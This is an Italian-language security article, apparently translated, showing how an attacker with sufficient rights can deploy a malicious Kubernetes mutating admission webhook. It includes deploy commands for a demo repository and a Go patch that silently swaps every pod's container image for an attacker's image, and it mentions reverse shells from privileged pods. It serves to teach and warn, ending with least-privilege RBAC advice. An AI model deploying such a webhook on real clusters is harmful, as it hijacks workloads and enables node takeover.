Cover Image

Creazione di controllori di ammissione dannosi

15 Agosto 2021 - Tempo di lettura: 6 minuti

I controller di ammissione svolgono un ruolo cruciale in Kubernetes e sono sfruttati da più strumenti e team per difendere i cluster. Una semplice configurazione errata nella configurazione consente agli aggressori di sfruttare senza sforzo questa funzione difensiva per eseguire attacchi offensivi. In questo articolo creeremo un controller di ammissione dannoso, ne capiremo i tecnicismi e ne analizzeremo l'impatto.

Stackrox ha svolto un lavoro straordinario dimostrando l'utilizzo dei controller di ammissione per difendere i cluster Kubernetes. Modificheremo il loro codice per dimostrare uno scenario di attacco offensivo.

Introduzione ai controllori di ammissione

Un controller di ammissione è una parte di codice che intercetta le richieste al server API Kubernetes prima della persistenza dell'oggetto, ma dopo che la richiesta è stata autenticata e autorizzata. 

Flusso di lavoro e tipi di controller:

  • MutatingAdmissionWebhook (modifica l'oggetto se lo desidera);
  • ValidatingAdmissionWebhook (convalida l'oggetto se lo desidera).

Se uno dei controller rifiuta la richiesta, l'intera richiesta viene respinta immediatamente e viene restituito un errore all'utente finale.

Usi del controllore di ammissione

Strumenti come OPA, Kyverno e molti altri sfruttano i controller di ammissione per rafforzare la sicurezza.

  • Limitare le richieste di creazione, eliminazione, modifica e altre operazioni specifiche;
  • Consente l'applicazione di regole granulari;
  • Altamente efficace nell'hardening dei cluster Kubernetes.

Operazione

I controller di ammissione sono costruiti per difendere i sistemi e rafforzare l'infrastruttura, ma una semplice configurazione errata può portare a incubi e attacchi mortali.

Creazione di un controller di ammissione dannoso

Una volta che un utente malintenzionato entra in un cluster configurato in modo errato, può eseguire un numero di operazioni n. Se l'autore dell'attacco dispone dei privilegi per creare un controller di ammissione di distribuzione, servizio e webhook mutante, il gioco è praticamente finito. Pertanto, lo sfruttamento dei controllori di ammissione può essere classificato come parte di una fase di post-sfruttamento.

Il codice sorgente della demo è disponibile, qui.

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Attendi fino a quando il server webhook è pronto. Controlla lo stato.

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Una volta che il nostro webhook mutante dannoso è in esecuzione, distribuiamo un nuovo pod.

kubectl run nginx --image nginx
kubectl get po -w

Attendi di nuovo finché non vedi il cambiamento nello stato del pod. Ora puoi vedere l' ErrImagePullerrore. Controlla il nome dell'immagine con una delle query.

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'

kubectl describe po nginx | grep "Image: "

Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine nginx ma l'immagine finale eseguita è rewanthtammana/malicious-image. Cosa è appena successo!!?

Tecnicismi

Sveliamo quello che è appena successo. Il ./deploy.sh script che hai eseguito ha creato un controller di ammissione webhook mutante. Le righe sottostanti nel controller di ammissione del webhook mutante sono responsabili dei risultati di cui sopra.

patches = append(patches, patchOperation{
    Op:    "replace",
    Path:  "/spec/containers/0/image",
    Value: "rewanthtammana/malicious-image",
})

Lo snippet sopra sostituisce la prima immagine del contenitore in ogni pod con rewanthtammana/malicious-image.

Esempio di scenario di attacco

Un attaccante può eseguire vari attacchi. Ad esempio,

  • Esegui pod/distribuzioni con flag privilegiati, capacità elevate, ecc.
  • Scrivi un'immagine personalizzata, che lanci shell inversa da tutti i pod alla macchina personale dell'attaccante.

Combinando i due vettori di minaccia di cui sopra, gli aggressori possono ottenere l'accesso a tutti i nodi di lavoro ottenendo shell inverse dai pod in esecuzione con privilegi elevati.

Conclusione

Se un utente malintenzionato è in grado di creare un controller di ammissione webhook mutante, avrà accesso per eseguire operazioni privilegiate e può essere disastroso. I controller di ammissione sono molto efficaci per eseguire convalide sulle risorse create, rafforzare le implementazioni, ecc. Un semplice RBAC con i privilegi minimi avrebbe potuto impedire questo attacco massiccio.

Riferimenti

intopic.it